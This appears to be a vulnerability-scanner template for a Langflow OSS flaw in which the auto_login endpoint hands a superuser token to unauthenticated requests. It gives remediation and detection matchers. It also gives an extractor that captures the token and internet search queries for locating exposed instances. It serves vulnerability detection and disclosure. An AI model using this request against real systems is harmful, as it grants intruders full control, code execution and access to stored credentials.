Langflow OSS - Superuser Token Issuance

id: CVE-2026-9103

info:
  name: Langflow OSS - Superuser Token Issuance
  author: str4k3r
  severity: critical
  description: |
    Langflow OSS with default AUTO_LOGIN exposes `/api/v1/auto_login`, which returns a superuser access token to any unauthenticated request.
  impact: |
    An unauthenticated attacker obtains a superuser access token, granting full control of the Langflow instance including flow creation and execution, which typically leads to remote code execution and access to connected credentials and data sources.
  remediation: |
    Disable AUTO_LOGIN by setting `LANGFLOW_AUTO_LOGIN=false`, configure strong superuser credentials, upgrade to a fixed Langflow release, and restrict network exposure of the management interface.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9103
    - https://github.com/langflow-ai/langflow
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-9103
    epss-score: 0.03208
    epss-percentile: 0.87782
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: langflow-ai
    product: langflow
    framework: fastapi
    shodan-query: http.title:"Langflow"
    fofa-query: title="Langflow"
    google-query: intitle:"Langflow"
  tags: cve,cve2026,langflow,langflow-ai,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/auto_login"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"access_token"\s*:\s*"[^"\r\n]+"'
          - '"refresh_token"\s*:\s*null'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"access_token"\s*:\s*"([^"\r\n]+)"'
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